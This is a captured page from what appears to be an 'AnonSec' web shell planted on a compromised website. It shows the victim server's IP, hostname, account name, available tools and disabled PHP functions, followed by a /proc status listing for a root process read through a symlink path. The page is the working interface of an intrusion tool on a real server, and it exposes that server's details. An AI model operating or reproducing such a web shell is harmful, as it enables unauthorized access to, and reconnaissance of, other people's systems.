Brotherline AnonSec • Shell
SRV 162.240.68.55 YOU 216.73.217.22 USER tywatomy (1003) 7.4.33 DOMAINS 6 Domains
MySQL cURL WGET Perl Python Sudo
Disabled: exec,passthru,shell_exec,system  •  OS: Linux server.ariapress.org 3.10.0-1160.119.1.el7.tuxcare.els22.x86_64 #1 SMP Mon Aug 18 06:07:12 UTC 2025 x86_64  •  Webserver: Apache
/home/tywatomy/public_html/en-ariapress-org/anon_sym/anon/proc/29451/status
Name:	splitlogs
Umask:	0022
State:	S (sleeping)
Tgid:	29451
Ngid:	0
Pid:	29451
PPid:	20914
TracerPid:	0
Uid:	0	0	0	0
Gid:	0	0	0	0
FDSize:	64
Groups:	
VmPeak:	   12748 kB
VmSize:	   12744 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	    1372 kB
VmRSS:	     300 kB
RssAnon:	      80 kB
RssFile:	     220 kB
RssShmem:	       0 kB
VmData:	     300 kB
VmStk:	     132 kB
VmExe:	      48 kB
VmLib:	    3988 kB
VmPTE:	      48 kB
VmSwap:	     108 kB
Threads:	1
SigQ:	0/18446744073709551615
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000001001000
SigCgt:	0000000000004001
CapInh:	0000000000000000
CapPrm:	0000001fffffffff
CapEff:	0000001fffffffff
CapBnd:	0000001fffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Speculation_Store_Bypass:	thread vulnerable
Cpus_allowed:	3
Cpus_allowed_list:	0-1
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	231662
nonvoluntary_ctxt_switches:	2268
Anon7 — 2022  •  AnonSec Team